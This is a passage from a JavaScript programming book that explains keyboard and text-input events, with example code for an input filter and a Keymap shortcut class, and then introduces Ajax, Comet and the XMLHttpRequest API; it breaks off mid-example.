The event object passed with keypress events is more confusing. A keypress event represents a single character of input. The event object specifies that character as a numeric Unicode codepoint, and you must use `String.fromCharCode()` to convert it to a string. In most browsers, the `keyCode` property of the event object specifies the codepoint of the input character. For historical reasons, however, Firefox uses the `charCode` property instead. Most browser only fire keypress events when a printable character is generated. Firefox, however, also fires "keypress" for nonprinting characters. To detect this case (so you can ignore the nonprinting characters), you can look for an event object with a `charCode` property that is defined but set to 0.

The textinput, textInput, and keypress events can be canceled to prevent the character from being input. This means you can use these events to filter input. You might want to prevent a user from entering letters into a field intended for numeric data, for ex-

ample. Example 17-6 is an unobtrusive module of JavaScript code that allows exactly this sort of filtering. It looks for `<input type=text>` elements that have an additional (nonstandard) attribute named `data-allowed-chars`. The module registers handlers for textinput, textInput, and keypress events on any such text field to restrict input to characters that appear in the value of the allowed attribute. The initial comment at the top of Example 17-6 includes some sample HTML that uses the module.

Example 17-6. Filtering user input

```
/**
 * InputFilter.js: unobtrusive filtering of keystrokes for <input> elements
 *
 * This module finds all <input type="text"> elements in the document that
 * have an "data-allowed-chars" attribute. It registers keypress, textInput, and
 * textinput event handlers for any such element to restrict the user's input
 * so that only characters that appear in the value of the attribute may be
 * entered. If the <input> element also has an attribute named "data-messageid",
 * the value of that attribute is taken to be the id of another document
 * element. If the user types a character that is not allowed, the message
 * element is made visible. If the user types a character that is allowed, the
 * message element is hidden. This message id element is intended to offer
 * an explanation to the user of why her keystroke was rejected. It should
 * typically be styled with CSS so that it is initially invisible.
 *
 * Here is sample HTML that uses this module.
 *   Zipcode: <input id="zip" type="text"
 *                   data-allowed-chars="0123456789" data-messageid="zipwarn">
 *   <span id="zipwarn" style="color:red;visibility:hidden">Digits only</span>
 *
 * This module is purely unobtrusive: it does not define any symbols in
 * the global namespace.
 */
whenReady(function () {  // Run this function when the document is loaded
    // Find all <input> elements
    var inputelts = document.getElementsByTagName("input");
    // Loop through them all
    for(var i = 0 ; i < inputelts.length; i++) {
        var elt = inputelts[i];
        // Skip those that aren't text fields or that don't have
        // a data-allowed-chars attribute.
        if (elt.type != "text" || !elt.getAttribute("data-allowed-chars"))
            continue;

        // Register our event handler function on this input element
        // keypress is a legacy event handler that works everywhere.
        // textInput (mixed-case) is supported by Safari and Chrome in 2010.
        // textinput (lowercase) is the version in the DOM Level 3 Events draft.
        if (elt.addEventListener) {
            elt.addEventListener("keypress", filter, false);
            elt.addEventListener("textInput", filter, false);
            elt.addEventListener("textinput", filter, false);
        }
        else { // textinput not supported versions of IE w/o addEventListener()
            elt.attachEvent("onkeypress", filter);
        }
```

```
    }

    // This is the keypress and textInput handler that filters the user's input
    function filter(event) {
        // Get the event object and the target element target
        var e = event || window.event;         // Standard or IE model
        var target = e.target || e.srcElement; // Standard or IE model
        var text = null;                       // The text that was entered

        // Get the character or text that was entered
        if (e.type === "textinput" || e.type === "textInput") text = e.data;
        else {  // This was a legacy keypress event
            // Firefox uses charCode for printable key press events
            var code = e.charCode || e.keyCode;

            // If this keystroke is a function key of any kind, do not filter it
            if (code < 32 ||           // ASCII control character
                e.charCode == 0 ||     // Function key (Firefox only)
                e.ctrlKey || e.altKey) // Modifier key held down
                return;                // Don't filter this event

            // Convert character code into a string
            var text = String.fromCharCode(code);
        }

        // Now look up information we need from this input element
        var allowed = target.getAttribute("data-allowed-chars"); // Legal chars
        var messageid = target.getAttribute("data-messageid");   // Message id
        if (messageid)  // If there is a message id, get the element
            var messageElement = document.getElementById(messageid);

        // Loop through the characters of the input text
        for(var i = 0; i < text.length; i++) {
            var c = text.charAt(i);
            if (allowed.indexOf(c) == -1) { // Is this a disallowed character?
                // Display the message element, if there is one
                if (messageElement) messageElement.style.visibility = "visible";

                // Cancel the default action so the text isn't inserted
                if (e.preventDefault) e.preventDefault();
                if (e.returnValue) e.returnValue = false;
                return false;
            }
        }

        // If all the characters were legal, hide the message if there is one.
        if (messageElement) messageElement.style.visibility = "hidden";
    }
});
```

The keypress and textinput events are triggered before the newly input text is actually inserted into the focused document element, which is why handlers for these events can cancel the event and prevent the insertion of the text. Browsers also implement an input event type that is fired after text is inserted into an element. These events cannot be canceled, and they do not specify what the new text was in their event object, but

they do provide notification that the textual content of an element has changed in some way. If you wanted to ensure that any text entered into an input field was in uppercase, for example, you might use the input event like this:

```
SURNAME: <input type="text" oninput="this.value = this.value.toUpperCase();">
```

HTML 5 standardizes the input event and it is supported by all modern browsers except IE. You can achieve a similar effect in IE by using the nonstandard propertychange event to detect changes to the `value` property of a text input element. Example 17-7 shows how you might force all input to uppercase in a cross-platform way.

Example 17-7. Using the propertychange event to detect text input

```
function forceToUpperCase(element) {
    if (typeof element === "string") element = document.getElementById(element);
    element.oninput = upcase;
    element.onpropertychange = upcaseOnPropertyChange;

    // Easy case: the handler for the input event
    function upcase(event) { this.value = this.value.toUpperCase(); }
    // Hard case: the handler for the propertychange event
    function upcaseOnPropertyChange(event) {
        var e = event || window.event;
        // If the value property changed
        if (e.propertyName === "value") {
            // Remove onpropertychange handler to avoid recursion
            this.onpropertychange = null;
            // Change the value to all uppercase
            this.value = this.value.toUpperCase();
            // And restore the original propertychange handler
            this.onpropertychange = upcaseOnPropertyChange;
        }
    }
}
```

17.9 Keyboard Events

The keydown and keyup events are fired when the user presses or releases a key on the keyboard. They are generated for modifier keys, function keys, and alphanumeric keys. If the user holds the key down long enough for it to begin repeating, there will be multiple keydown events before the keyup event arrives.

The event object associated with these events has a numeric `keyCode` property that specifies which key was pressed. For keys that generate printable characters, the `keyCode` is generally the Unicode encoding of the primary character that appears on the key. Letter keys always generate uppercase `keyCode` values, regardless of the state of the Shift key since that is what appears on the physical key. Similarly, number keys always generate `keyCode` values for the digit that appears on the key, even if you are holding down Shift in order to type a punctuation character. For nonprinting keys, the `keyCode` property will be some other value. These `keyCode` values have never been stand-

ardized, but reasonable cross-browser compatibility is possible, and Example 17-8 includes a mapping from `keyCode` values to function key names.

Like mouse event objects, key event objects have `altKey`, `ctrlKey`, `metaKey`, and `shiftKey` properties, which are set to `true` if the corresponding modifier key is held down when the event occurs.

The keydown and keyup events and the `keyCode` property have been in use for more than a decade but have never been standardized. The DOM Level 3 Events draft standard does standardize the keydown and keyup event types, but it does not attempt to standardize `keyCode`. Instead, it defines a new `key` property that contains the key name as a string. If the key corresponds to a printable character, the `key` property will just be that printable character. If the key is a function key, the `key` property will be a value like "F2", "Home", or "Left".

The DOM Level 3 `key` property is not yet implemented in any browsers at the time of this writing. The Webkit-based browsers Safari and Chrome define a `keyIdentifier` property in the event object for these events, however. Like `key`, `keyIdentifier` is a string rather than a number and it has useful values like "Shift" and "Enter" for function keys. For printing keys, this property holds a less useful string representation of the Unicode encoding of the character. It is "U+0041" for the `A` key, for example.

Example 17-8 defines a Keymap class that maps keystroke identifiers such as "PageUp", "Alt_Z", and "ctrl+alt+shift+F5" to JavaScript functions that are invoked in response to those keystrokes. Pass key bindings to the `Keymap()` constructor in the form of a JavaScript object in which property names are keystroke identifiers and property values are handler functions. Add and remove bindings with the `bind()` and `unbind()` methods. Install a Keymap on an HTML element (often the Document object) with the `install()` method. Installing a keymap on an element registers a `keydown` event handler on that element. Each time a key is pressed, the handler checks to see if there is a function associated with that keystroke. If there is, it invokes it. The keydown handler uses the DOM Level 3 `key` property, if it is defined. If not, it looks for the Webkit `keyIdentifier` property and uses that. Otherwise, it falls back on the nonstandard `keyCode` property. Example 17-8 begins with a long comment that explains the module in more detail.

Example 17-8. A Keymap class for keyboard shortcuts

```
/*
 * Keymap.js: bind key events to handler functions.
 *
 * This module defines a Keymap class. An instance of this class represents a
 * mapping of key identifiers (defined below) to handler functions. A Keymap
 * can be installed on an HTML element to handle keydown events. When such an
 * event occurs, the Keymap uses its mapping to invoke the appropriate handler.
 *
 * When you create a Keymap, you can pass a JavaScript object that represents
 * the initial set of bindings for the Keymap. The property names of this object
 * are key identifers, and the property values are the handler functions.
 * After a Keymap has been created, you can add new bindings by passing a key
```

```
 * identifer and handler function to the bind() method. You can remove a
 * binding by passing a key identifier to the unbind() method.
 *
 * To make use of a Keymap, call its install() method, passing an HTML element,
 * such as the document object. install() adds an onkeydown event handler to
 * the specified object. When this handler is invoked, it determines the key
 * identifier of the pressed key and invokes the handler function, if any,
 * bound to that key identifier. A single Keymap may be installed on more than
 * one HTML element.
 *
 * Key Identifiers
 *
 * A key identifier is a case-insensitive string representation of a key plus
 * any modifier keys that are held down at the same time. The key name is
 * usually the (unshifted) text on the key. Legal key names include "A", "7",
 * "F2", "PageUp", "Left", "Backspace", and "Esc".
 *
 * See the Keymap.keyCodeToKeyName object in this module for a list of names.
 * These are a subset of the names defined by the DOM Level 3 standard and
 * this class will use the key property of the event object when implemented.
 *
 * A key identifier may also include modifier key prefixes. These prefixes are
 * Alt, Ctrl, Meta, and Shift. They are case-insensitive, and must be separated
 * from the key name and from each other with spaces or with an underscore,
 * hyphen, or +. For example: "SHIFT+A", "Alt_F2", "meta-v", and "ctrl alt left".
 * On Macs, Meta is the Command key and Alt is the Option key. Some browsers
 * map the Windows key to the Meta modifier.
 *
 * Handler Functions
 *
 * Handlers are invoked as methods of the document or document element on which
 * the keymap is installed and are passed two arguments:
 *   1) the event object for the keydown event
 *   2) the key identifier of the key that was pressed
 * The handler return value becomes the return value of the keydown handler.
 * If a handler function returns false, the keymap will stop bubbling and
 * cancel any default action associated with the keydown event.
 *
 * Limitations
 *
 * It is not possible to bind a handler function to all keys. The operating
 * system traps some key sequences (Alt-F4, for example). And the browser
 * itself may trap others (Ctrl-S, for example). This code is browser, OS,
 * and locale-dependent. Function keys and modified function keys work well,
 * and unmodified alphanumeric keys work well. The combination of Ctrl and Alt
 * with alphanumeric characters is less robust.
 *
 * Most punctuation characters that do not require the Shift key (`=[];',./\
 * but not hyphen) on standard US keyboard layouts are supported. But they are
 * not particularly portable to other keyboard layouts and should be avoided.
 */

// This is the constructor function
function Keymap(bindings) {
    this.map = {};    // Define the key identifier->handler map
    if (bindings) {   // Copy initial bindings into it
```

```
        for(name in bindings) this.bind(name, bindings[name]);
    }
}

// Bind the specified key identifier to the specified handler function
Keymap.prototype.bind = function(key, func) {
    this.map[Keymap.normalize(key)] = func;
};

// Delete the binding for the specified key identifier
Keymap.prototype.unbind = function(key) {
    delete this.map[Keymap.normalize(key)];
};

// Install this Keymap on the specified HTML element
Keymap.prototype.install = function(element) {
    // This is the event-handler function
    var keymap = this;
    function handler(event) { return keymap.dispatch(event, element); }

    // Now install it
    if (element.addEventListener)
        element.addEventListener("keydown", handler, false);
    else if (element.attachEvent)
        element.attachEvent("onkeydown", handler);
};

// This method dispatches key events based on the keymap bindings.
Keymap.prototype.dispatch = function(event, element) {
    // We start off with no modifiers and no key name
    var modifiers = ""
    var keyname = null;

    // Build the modifier string in canonical lowercase alphabetical order.
    if (event.altKey) modifiers += "alt_";
    if (event.ctrlKey) modifiers += "ctrl_";
    if (event.metaKey) modifiers += "meta_";
    if (event.shiftKey) modifiers += "shift_";

    // The keyname is easy if the DOM Level 3 key property is implemented:
    if (event.key) keyname = event.key;
    // Use the keyIdentifier on Safari and Chrome for function key names
    else if (event.keyIdentifier && event.keyIdentifier.substring(0,2) !== "U+")
        keyname = event.keyIdentifier;
    // Otherwise, use the keyCode property and the code-to-name map below
    else keyname = Keymap.keyCodeToKeyName[event.keyCode];

    // If we couldn't figure out a key name, just return and ignore the event.
    if (!keyname) return;

    // The canonical key id is modifiers plus lowercase key name
    var keyid = modifiers + keyname.toLowerCase();

    // Now see if the key identifier is bound to anything
    var handler = this.map[keyid];
```

```
    if (handler) {  // If there is a handler for this key, handle it
        // Invoke the handler function
        var retval = handler.call(element, event, keyid);

        // If the handler returns false, cancel default and prevent bubbling
        if (retval === false) {
            if (event.stopPropagation) event.stopPropagation();  // DOM model
            else event.cancelBubble = true;                      // IE model
            if (event.preventDefault) event.preventDefault();    // DOM
            else event.returnValue = false;                      // IE
        }

        // Return whatever the handler returned
        return retval;
    }
};

// Utility function to convert a key identifier to canonical form.
// On non-Macintosh hardware, we could map "meta" to "ctrl" here, so that
// Meta-C would be "Command-C" on the Mac and "Ctrl-C" everywhere else.
Keymap.normalize = function(keyid) {
    keyid = keyid.toLowerCase();           // Everything lowercase
    var words = keyid.split(/\s+|[\-+_]/); // Split modifiers from name
    var keyname = words.pop();             // keyname is the last word
    keyname = Keymap.aliases[keyname] || keyname; // Is it an alias?
    words.sort();                          // Sort remaining modifiers
    words.push(keyname);                   // Add the normalized name back
    return words.join("_");                // Concatenate them all
};

Keymap.aliases = {        // Map common key aliases to their "official"
    "escape":"esc",       // key names used by DOM Level 3 and by
    "delete":"del",       // the key code to key name map below.
    "return":"enter",     // Both keys and values must be lowercase here.
    "ctrl":"control",
    "space":"spacebar",
    "ins":"insert"
};

// The legacy keyCode property of the keydown event object is not standardized
// But the following values seem to work for most browsers and OSes.
Keymap.keyCodeToKeyName = {
    // Keys with words or arrows on them
    8:"Backspace", 9:"Tab", 13:"Enter", 16:"Shift", 17:"Control", 18:"Alt",
    19:"Pause", 20:"CapsLock", 27:"Esc", 32:"Spacebar", 33:"PageUp",
    34:"PageDown", 35:"End", 36:"Home", 37:"Left", 38:"Up", 39:"Right",
    40:"Down", 45:"Insert", 46:"Del",

    // Number keys on main keyboard (not keypad)
    48:"0",49:"1",50:"2",51:"3",52:"4",53:"5",54:"6",55:"7",56:"8",57:"9",

    // Letter keys. Note that we don't distinguish upper and lower case
    65:"A", 66:"B", 67:"C", 68:"D", 69:"E", 70:"F", 71:"G", 72:"H", 73:"I",
    74:"J", 75:"K", 76:"L", 77:"M", 78:"N", 79:"O", 80:"P", 81:"Q", 82:"R",
    83:"S", 84:"T", 85:"U", 86:"V", 87:"W", 88:"X", 89:"Y", 90:"Z",
```

```
    // Keypad numbers and punctuation keys. (Opera does not support these.)
    96:"0",97:"1",98:"2",99:"3",100:"4",101:"5",102:"6",103:"7",104:"8",105:"9",
    106:"Multiply", 107:"Add", 109:"Subtract", 110:"Decimal", 111:"Divide",

    // Function keys
    112:"F1", 113:"F2", 114:"F3", 115:"F4", 116:"F5", 117:"F6",
    118:"F7", 119:"F8", 120:"F9", 121:"F10", 122:"F11", 123:"F12",
    124:"F13", 125:"F14", 126:"F15", 127:"F16", 128:"F17", 129:"F18",
    130:"F19", 131:"F20", 132:"F21", 133:"F22", 134:"F23", 135:"F24",

    // Punctuation keys that don't require holding down Shift
    // Hyphen is nonportable: FF returns same code as Subtract
    59:";", 61:"=", 186:";", 187:"=", // Firefox and Opera return 59,61
    188:",", 190:".", 191:"/", 192:"`", 219:"[", 220:"\\", 221:"]", 222:"'"
};
```

CHAPTER 18
Scripted HTTP

The Hypertext Transfer Protocol (HTTP) specifies how web browsers get documents from and post form contents to web servers, and how web servers respond to those requests and posts. Web browsers obviously handle a lot of HTTP. Usually HTTP is not under the control of scripts and instead occurs when the user clicks on a link, submits a form, or types a URL.

It *is* possible for JavaScript code to script HTTP, however. HTTP requests are initiated when a script sets the `location` property of a window object or calls the `submit()` method of a form object. In both cases, the browser loads a new page. This kind of trivial HTTP scripting can be useful in a multiframed web page but is not the topic we'll cover here. Instead, this chapter explains how scripts can communicate with a web server without causing the web browser to reload the content of any window or frame.

The term *Ajax* describes an architecture for web applications that prominently features scripted HTTP.[1] The key feature of an Ajax application is that it uses scripted HTTP to initiate data exchange with a web server without causing pages to reload. The ability to avoid page reloads (which were the norm in the early days of the Web) results in responsive web applications that feel more like traditional desktop applications. A web application might use Ajax technologies to log user interaction data to the server or to improve its start-up time by displaying only a simple page at first and then downloading additional data and page components on an as-needed basis.

The term *Comet* refers to a related web application architecture that uses scripted HTTP.[2] In a sense, Comet is the reverse of Ajax: in Comet, it is the web server that initiates the communication, asynchronously sending messages to the client. If the web application needs to respond to these messages sent by the server, it can then use Ajax

1. Ajax is an (uncapitalized) acronym for Asynchronous JavaScript and XML. The term was coined by Jesse James Garrett and first appeared in his February 2005 essay "Ajax: A New Approach to Web Applications". "Ajax" was a popular buzzword for many years; now it is simply a useful term for an web application architecture based on scripted HTTP requests.

2. The name *Comet* was coined by Alex Russell in "Comet: Low Latency Data for the Browser". The name is likely a play on Ajax: both Comet and Ajax are US brands of scouring powder.

techniques to send or request data. In Ajax, the client "pulls" data from the server. With Comet, the server "pushes" data to the client. Other names for Comet include "Server Push," "Ajax Push," and "HTTP Streaming."

There are a number of ways to implement Ajax and Comet, and these underlying implementations are sometimes known as *transports*. The `<img>` element, for example, has a `src` property. When a script sets this property to a URL, an HTTP GET request is initiated to download an image from that URL. A script can therefore pass information to a web server by encoding that information into the query-string portion of the URL of an image and setting the `src` property of an `<img>` element. The web server must actually return some image as the result of this request, but it can be invisible: a transparent 1-pixel-by-1-pixel image, for instance.[3]

An `<img>` element does not make a good Ajax transport, because the data exchange is one-way: the client can send data to the server, but the server's response will always be an image that the client can't easily extract information from. The `<iframe>` element is more versatile, however. To use an `<iframe>` as an Ajax transport, the script first encodes information for the web server into a URL and then sets the `src` property of the `<iframe>` to that URL. The server creates an HTML document containing its response and sends it back to the web browser, which displays it in the `<iframe>`. The `<iframe>` need not be visible to the user; it can be hidden with CSS, for example. A script can access the server's response by traversing the document object of the `<iframe>`. Note, though, that this traversal is subject to the constraints of the same-origin policy described in §13.6.2.

Even the `<script>` element has a `src` property that can be set to initiate an HTTP GET request. Doing HTTP scripting with `<script>` elements is particularly attractive because they are not subject to the same-origin policy and can be used for cross-domain communication. Usually, with a `<script>`-based Ajax transport, the server's response takes the form of JSON-encoded (see §6.9) data that is automatically "decoded" when the script is executed by the JavaScript interpreter. Because of its use of the JSON data format, this Ajax transport is known as "JSONP."

Although Ajax techniques can be implemented on top of an `<iframe>` or `<script>` transport, there is usually an easier way to do it. For some time, all browsers have supported an XMLHttpRequest object that defines an API for scripted HTTP. The API includes the ability to make POST requests, in addition to regular GET requests, and can return the server's response as text or as a Document object. Despite its name, the XMLHttpRequest API is not limited to use with XML documents: it can fetch any kind of text document. §18.1 covers the XMLHttpRequest API and takes up most of the chapter. Most of the Ajax examples in this chapter will use the XMLHttpRequest object as their transport, but we'll also demonstrate how to use the `<script>`-based transport

3. Images of this sort are sometimes called *web bugs*. Privacy concerns arise when web bugs are used to communicate information to a server other than the one from which the web page was loaded. One common use of this kind of third-party web bug is for hit counting and website traffic analysis.

in §18.2 because of the `<script>` element's ability to circumvent same-origin restrictions.

The XML Is Optional

The X in "Ajax" stands for XML, the primary client-side API for HTTP (XMLHttpRequest) features XML in its name, and we'll see later that one of the properties of the XMLHttpRequest object is named `responseXML`. It would seem that XML is an important part of scripted HTTP. But it's not: these names are the historical legacy of the days when XML was a powerful buzzword. Ajax techniques work with XML documents, of course, but the use of XML is purely optional and has actually become relatively rare. The XMLHttpRequest specification lays out the inadequacies of the name we're stuck with:

> The name of the object is XMLHttpRequest for compatibility with the Web, though each component of this name is potentially misleading. First, the object supports any text based format, including XML. Second, it can be used to make requests over both HTTP and HTTPS (some implementations support protocols in addition to HTTP and HTTPS, but that functionality is not covered by this specification). Finally, it supports "requests" in a broad sense of the term as it pertains to HTTP; namely all activity involved with HTTP requests or responses for the defined HTTP methods.

Transport mechanisms for Comet are trickier than Ajax, but all require the client to establish (and re-establish as necessary) a connection to the server, and require the server to keep that connection open so that it can send asynchronous messages over it. A hidden `<iframe>` can serve as a Comet transport, for example, if the server sends each message in the form of a `<script>` element to be executed in the `<iframe>`. A more reliably cross-platform approach to implementing Comet is for the client to establish a connection to the server (using an Ajax transport) and for the server to keep this connection open until it needs to push a message. Each time the server sends a message, it closes the connection, which helps to ensure that the message is properly received by the client. After processing the message, the client then immediately establishes a new connection for future messages.

Implementing a reliable cross-platform Comet transport is hard to do, and most web app developers who use the Comet architecture rely on the transports in web framework libraries such as Dojo. At the time of this writing, browsers are beginning to implement an HTML5-related draft specification known as Server-Sent Events that defines a simple Comet API in the form of an EventSource object. §18.3 covers the EventSource API and demonstrates a simple emulation of it using XMLHttpRequest.

It is possible to build higher-level communication protocols on top of Ajax and Comet. These client/server communication techniques can be used as the basis of an RPC (remote procedure call) mechanism or a publish/subscribe event system, for example.

This chapter does not describe higher-level protocols like this, however, and instead focuses on the APIs that enable Ajax and Comet.

18.1 Using XMLHttpRequest

Browsers define their HTTP API on an XMLHttpRequest class. Each instance of this class represents a single request/response pair, and the properties and methods of the object allow you to specify request details and extract response data. XMLHttpRequest has been supported by web browsers for many years, and the API is in the final stages of standardization through the W3C. At the same time, the W3C is working on a draft "XMLHttpRequest Level 2" standard. This section covers the core XMLHttpRequest API and also those portions of the Level 2 draft (which I'll call XHR2) that are currently implemented by at least two browsers.

The first thing you must do to use this HTTP API, of course, is to instantiate an XMLHttpRequest object:

```
var request = new XMLHttpRequest();
```

You can also reuse an existing XMLHttpRequest object, but note that doing so will abort any request pending through that object.

XMLHttpRequest in IE6

Microsoft introduced the XMLHttpRequest object to the world in IE5, and in IE5 and IE6 it is available only as an ActiveX object. The now-standard `XMLHttpRequest()` constructor is not supported before IE7, but it can be emulated like this:

```
// Emulate the XMLHttpRequest() constructor in IE5 and IE6
if (window.XMLHttpRequest === undefined) {
    window.XMLHttpRequest = function() {
        try {
            // Use the latest version of the ActiveX object if available
            return new ActiveXObject("Msxml2.XMLHTTP.6.0");
        }
        catch (e1) {
            try {
                // Otherwise fall back on an older version
                return new ActiveXObject("Msxml2.XMLHTTP.3.0");
            }
            catch(e2) {
                // Otherwise, throw an error
                throw new Error("XMLHttpRequest is not supported");
            }
        }
    };
}
```

An HTTP request consists of four parts:

- the HTTP request method or "verb"
- the URL being requested
- an optional set of request headers, which may include authentication information
- an optional request body

The HTTP response sent by a server has three parts:

- a numeric and textual status code that indicates the success or failure of the request
- a set of response headers
- the response body

The first two subsections below demonstrate how to set each of the parts of an HTTP request and how to query each of the parts of an HTTP response. Those key sections are followed by coverage of more specialized topics.

The basic request/response architecture of HTTP is pretty simple and easy to work with. In practice, however, there are all sorts of complications: clients and server exchange cookies, servers redirect browsers to other servers, some resources are cached and others are not, some clients send all their requests through proxy servers, and so on. XMLHttpRequest is not a protocol-level HTTP API but instead a browser-level API. The browser takes care of cookies, redirects, caching, and proxies and your code need worry only about requests and responses.

XMLHttpRequest and Local Files

The ability to use relative URLs in web pages usually means that we can develop and test our HTML using the local file system and then deploy it unchanged to a web server. This is generally not possible when doing Ajax programming with XMLHttpRequest, however. XMLHttpRequest is designed to work with the HTTP and HTTPS protocols. In theory, it could be made to work with other protocols, such as FTP, but parts of the API, such as the request method and the response status code, are HTTP-specific. If you load a web page from a local file, the scripts in that page will not be able to use XMLHttpRequest with relative URLs, since those URLs will be relative to a `file://` URL rather than an `http://` URL. And the same-origin policy will often prevent you from using absolute `http://` URLs. (But see §18.1.6.) The upshot is that when working with XMLHttpRequest, you generally have to upload your files to a web server (or run a server locally) in order to test them.

18.1.1 Specifying the Request

After creating an XMLHttpRequest object, the next step in making an HTTP request is to call the `open()` method of your XMLHttpRequest object to specify the two required parts of the request, the method and the URL:

```
request.open("GET",        // Begin a HTTP GET request
             "data.csv");  // For the contents of this URL
```

The first argument to `open()` specifies the HTTP method or verb. This is a case-insensitive string, but uppercase letters are typically used to match the HTTP protocol. The "GET" and "POST" methods are universally supported. "GET" is used for most "regular" requests, and it is appropriate when the URL completely specifies the requested resource, when the request has no side effects on the server, and when the server's response is cacheable. The "POST" method is what is typically used by HTML forms. It includes additional data (the form data) in the request body and that data is often stored in a database on the server (a side effect). Repeated POSTs to the same URL may result in different responses from the server, and requests that use this method should not be cached.

In addition to "GET" and "POST", the XMLHttpRequest specification also allows "DELETE", "HEAD", "OPTIONS", and "PUT" as the first argument to `open()`. (The "HTTP CONNECT", "TRACE", and "TRACK" methods are explicitly forbidden as security risks.) Older browsers may not support all of these methods, but "HEAD", at least, is widely supported and Example 18-13 demonstrates its use.

The second argument to `open()` is the URL that is the subject of the request. This is relative to the URL of the document that contains the script that is calling `open()`. If you specify an absolute URL, the protocol, host, and port must generally match those of the containing document: cross-origin HTTP requests normally cause an error. (But the XMLHttpRequest Level 2 specification allows cross-origin requests when the server explicitly allows it; see §18.1.6.)

The next step in the request process is to set the request headers, if any. POST requests, for example, need a "Content-Type" header to specify the MIME type of the request body:

```
request.setRequestHeader("Content-Type", "text/plain");
```

If you call `setRequestHeader()` multiple times for the same header, the new value does not replace the previously specified value: instead, the HTTP request will include multiple copies of the header or the header will specify multiple values.

You cannot specify the "Content-Length", "Date", "Referer", or "User-Agent" headers yourself: XMLHttpRequest will add those automatically for you and will not allow you to spoof them. Similarly, XMLHttpRequest object automatically handles cookies, and connection lifetime, charset, and encoding negotiations, so you're not allowed to pass any of these headers to `setRequestHeader()`:

```
Accept-Charset        Content-Transfer-Encoding    TE
Accept-Encoding       Date                         Trailer
Connection            Expect                       Transfer-Encoding
Content-Length        Host                         Upgrade
Cookie                Keep-Alive                   User-Agent
Cookie2               Referer                      Via
```

You can specify an "Authorization" header with your request, but you do not normally need to do so. If you are requesting a password-protected URL, pass the username and password as the fourth and fifth arguments to `open()`, and XMLHttpRequest will set appropriate headers for you. (We'll learn about the optional third argument to `open()` below. The optional username and password arguments are described in the reference section.)

The final step in making an HTTP request with XMLHttpRequest is to specify the optional request body and send it off to the server. Do this with the `send()` method:

```
request.send(null);
```

GET requests never have a body, so you should pass `null` or omit the argument. POST requests do generally have a body, and it should match the "Content-Type" header you specified with `setRequestHeader()`.

Order Matters

The parts of an HTTP request have a specific order: the request method and URL must come first, then the request headers, and finally the request body. XMLHttpRequest implementations generally do not initiate any networking until the `send()` method is called. But the XMLHttpRequest API is designed as if each method was writing to a network stream. This means that the XMLHttpRequest method must be called in an order that matches the structure of an HTTP request. `setRequestHeader()`, for example, must be called after you call `open()` and before you call `send()` or it will throw an exception.

Example 18-1 uses each of the XMLHttpRequest methods we've described so far. It POSTs a string of text to a server and ignores any response the server sends.

Example 18-1. POSTing plain text to a server

```
function postMessage(msg) {
    var request = new XMLHttpRequest();      // New request
    request.open("POST", "/log.php");        // POST to a server-side script
    // Send the message, in plain-text, as the request body
    request.setRequestHeader("Content-Type", // Request body will be plain text
                             "text/plain;charset=UTF-8");
    request.send(msg);                       // Send msg as the request body
    // The request is done. We ignore any response or any error.
}
```

Note that the `send()` method in Example 18-1 initiates the request and then returns: it does not block while waiting for the server's response. HTTP responses are almost always handled asynchronously, as demonstrated in the following section.

18.1.2 Retrieving the Response

A complete HTTP response consists of a status code, a set of response headers, and a response body. These are available through properties and methods of the XMLHttpRequest object:

- The `status` and `statusText` properties return the HTTP status in numeric and textual forms. These properties hold standard HTTP values like 200 and "OK" for successful requests and 404 and "Not Found" for URLs that don't match any resource on the server.
- The response headers can be queried with `getResponseHeader()` and `getAllResponseHeaders()`. XMLHttpRequest handles cookies automatically: it filters cookie headers out of the set returned by `getAllResponseHeaders()` and returns `null` if you pass "Set-Cookie" or "Set-Cookie2" to `getResponseHeader()`.
- The response body is available in textual form from the `responseText` property or in Document form from the `responseXML` property. (The name of that property is historical: it actually works for XHTML documents as well as XML documents, and XHR2 says that it should work for ordinary HTML documents as well.) See §18.1.2.2 for more on `responseXML`.

The XMLHttpRequest object is usually (but see §18.1.2.1) used asynchronously: the `send()` method returns immediately after sending the request, and the response methods and properties listed above aren't valid until the response is received. To be notified when the response is ready, you must listen for readystatechange events (or the new XHR2 progress events described in §18.1.4) on the XMLHttpRequest object. But to understand this event type, you must first understand the `readyState` property.

`readyState` is an integer that specifies the status of an HTTP request, and its possible values are enumerated in Table 18-1. The symbols in the first column are constants defined on the XMLHttpRequest constructor. These constants are part of the XMLHttpRequest specification, but older browsers and IE8 do not define them, and you'll often see code that hardcodes the value 4 instead of `XMLHttpRequest.DONE`.

Table 18-1. XMLHttpRequest readyState values

Constant	Value	Meaning
UNSENT	0	`open()` has not been called yet
OPENED	1	`open()` has been called
HEADERS_RECEIVED	2	Headers have been received
LOADING	3	The response body is being received
DONE	4	The response is complete

In theory, the readystatechange event is triggered every time the `readyState` property changes. In practice, the event may not be fired when `readyState` changes to 0 or 1. It is often fired when `send()` is called, even though `readyState` remains at `OPENED` when

that happens. Some browsers fire the event multiple times during the `LOADING` state to give progress feedback. All browsers do fire the readystatechange event when `readyState` has changed to the value 4 and the server's response is complete. Because the event is also fired before the response is complete, however, event handlers should always test the `readyState` value.

To listen for readystatechange events, set the `onreadystatechange` property of the XMLHttpRequest object to your event handler function. You can also use `addEventListener()` (or `attachEvent()` in IE8 and before), but you generally need only one handler per request and it is easier to simply set `onreadystatechange`.

Example 18-2 defines a `getText()` function that demonstrates how to listen for readystatechange events. The event handler first ensures that the request is complete. If so, it checks the response status code to ensure that the request was successful. Then it looks at the "Content-Type" header to verify that the response was of the expected type. If all three conditions are satisfied, it passes the response body (as text) to a specified callback function.

Example 18-2. Getting an HTTP response onreadystatechange

```
// Issue an HTTP GET request for the contents of the specified URL.
// When the response arrives successfully, verify that it is plain text
// and if so, pass it to the specified callback function
function getText(url, callback) {
    var request = new XMLHttpRequest();         // Create new request
    request.open("GET", url);                   // Specify URL to fetch
    request.onreadystatechange = function() {   // Define event listener
        // If the request is compete and was successful
        if (request.readyState === 4 && request.status === 200) {
            var type = request.getResponseHeader("Content-Type");
            if (type.match(/^text/))            // Make sure response is text
                callback(request.responseText); // Pass it to callback
        }
    };
    request.send(null);                         // Send the request now
}
```

18.1.2.1 Synchronous responses

By their very nature, HTTP responses are best handled asynchronously. Nevertheless, XMLHttpRequest also supports synchronous responses. If you pass `false` as the third argument to `open()`, the `send()` method will block until the request completes. In this case, there is no need to use an event handler: once `send()` returns, you can just check the `status` and `responseText` properties of the XMLHttpRequest object. Compare this synchronous code to the `getText()` function in Example 18-2:

```
// Issue a synchronous HTTP GET request for the contents of the specified URL.
// Return the response text or throw an error if the request was not successful
// or if the response was not text.
